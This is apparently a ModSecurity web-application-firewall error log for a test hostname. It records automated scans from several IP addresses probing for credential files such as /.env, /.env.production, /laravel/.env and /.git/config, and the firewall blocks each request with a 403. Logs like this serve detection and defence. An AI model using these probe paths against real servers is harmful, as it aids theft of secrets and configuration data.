[Thu Nov 27 21:11:52.086100 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSiwiDVrO3naRdRptuRQnwAAAA4&quot;]
[Thu Nov 27 21:11:52.086297 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/laravel/.env&quot;] [unique_id &quot;aSiwiDVrO3naRdRptuRQnwAAAA4&quot;]
[Thu Nov 27 21:11:54.170957 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /psnlink/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQoQAAAA4&quot;]
[Thu Nov 27 21:11:54.171166 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQoQAAAA4&quot;]
[Thu Nov 27 21:11:54.171379 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/psnlink/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQoQAAAA4&quot;]
[Thu Nov 27 21:11:54.600686 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /site/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQogAAAA4&quot;]
[Thu Nov 27 21:11:54.600954 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQogAAAA4&quot;]
[Thu Nov 27 21:11:54.602003 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/site/.env&quot;] [unique_id &quot;aSiwijVrO3naRdRptuRQogAAAA4&quot;]
[Thu Nov 27 21:11:54.787320 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /web/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSiwiu_UStX-GTeIAe_vDwAAAAY&quot;]
[Thu Nov 27 21:11:54.787545 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSiwiu_UStX-GTeIAe_vDwAAAAY&quot;]
[Thu Nov 27 21:11:54.787730 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/web/.env&quot;] [unique_id &quot;aSiwiu_UStX-GTeIAe_vDwAAAAY&quot;]
[Thu Nov 27 21:11:55.168864 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /en/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSiwizVrO3naRdRptuRQowAAAA4&quot;]
[Thu Nov 27 21:11:55.169079 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSiwizVrO3naRdRptuRQowAAAA4&quot;]
[Thu Nov 27 21:11:55.169297 2025] [:error] [pid 370274] [client 3.96.197.169:51078] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/en/.env&quot;] [unique_id &quot;aSiwizVrO3naRdRptuRQowAAAA4&quot;]
[Thu Nov 27 21:11:55.172499 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /administrator/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSiwi-_UStX-GTeIAe_vEAAAAAY&quot;]
[Thu Nov 27 21:11:55.172685 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSiwi-_UStX-GTeIAe_vEAAAAAY&quot;]
[Thu Nov 27 21:11:55.172877 2025] [:error] [pid 354739] [client 3.96.197.169:50574] [client 3.96.197.169] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/administrator/.env&quot;] [unique_id &quot;aSiwi-_UStX-GTeIAe_vEAAAAAY&quot;]
[Fri Nov 28 23:11:01.894007 2025] [:error] [pid 393308] [client 104.196.116.79:35340] [client 104.196.116.79] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSod9a-Idoxz20B0R39VHQAAAAI&quot;]
[Fri Nov 28 23:11:01.894215 2025] [:error] [pid 393308] [client 104.196.116.79:35340] [client 104.196.116.79] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSod9a-Idoxz20B0R39VHQAAAAI&quot;]
[Fri Nov 28 23:11:01.894473 2025] [:error] [pid 393308] [client 104.196.116.79:35340] [client 104.196.116.79] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSod9a-Idoxz20B0R39VHQAAAAI&quot;]
[Sat Nov 29 01:50:44.761304 2025] [:error] [pid 395858] [client 213.209.157.81:60854] [client 213.209.157.81] ModSecurity: Warning. Matched phrase &quot;/.git/&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSpDZFonenFtamV5yHYc_QAAAAI&quot;]
[Sat Nov 29 01:50:44.761567 2025] [:error] [pid 395858] [client 213.209.157.81:60854] [client 213.209.157.81] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSpDZFonenFtamV5yHYc_QAAAAI&quot;]
[Sat Nov 29 01:50:44.761759 2025] [:error] [pid 395858] [client 213.209.157.81:60854] [client 213.209.157.81] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.git/config&quot;] [unique_id &quot;aSpDZFonenFtamV5yHYc_QAAAAI&quot;]
[Sat Nov 29 02:41:11.285691 2025] [:error] [pid 396955] [client 195.178.110.155:42236] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPN-KnXhOcMLhGvoBlfwAAAAc&quot;]
[Sat Nov 29 02:41:11.285924 2025] [:error] [pid 396955] [client 195.178.110.155:42236] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPN-KnXhOcMLhGvoBlfwAAAAc&quot;]
[Sat Nov 29 02:41:11.286116 2025] [:error] [pid 396955] [client 195.178.110.155:42236] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPN-KnXhOcMLhGvoBlfwAAAAc&quot;]
[Sat Nov 29 02:41:17.837862 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNegAAAAk&quot;]
[Sat Nov 29 02:41:17.838092 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNegAAAAk&quot;]
[Sat Nov 29 02:41:17.838284 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNegAAAAk&quot;]
[Sat Nov 29 02:41:17.859792 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.local&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNewAAAAk&quot;]
[Sat Nov 29 02:41:17.860031 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNewAAAAk&quot;]
[Sat Nov 29 02:41:17.860217 2025] [:error] [pid 395885] [client 195.178.110.155:42246] [client 195.178.110.155] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.local&quot;] [unique_id &quot;aSpPPSl2_ayZcB2mSooNewAAAAk&quot;]
[Sat Nov 29 02:41:22.008001 2025] [:error] [pid 395860] [client 195.178.110.155:42224] [client 195.178.110.155] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /.env.production&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPQmGVbW32jAuRdZj-OwAAAAY&quot;]
[Sat Nov 29 02:41:22.008235 2025] [:error] [pid 395860] [client 195.178.110.155:42224] [client 195.178.110.155] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/.env.production&quot;] [unique_id &quot;aSpPQmGVbW32jAuRdZj-OwAAAAY&quot;]
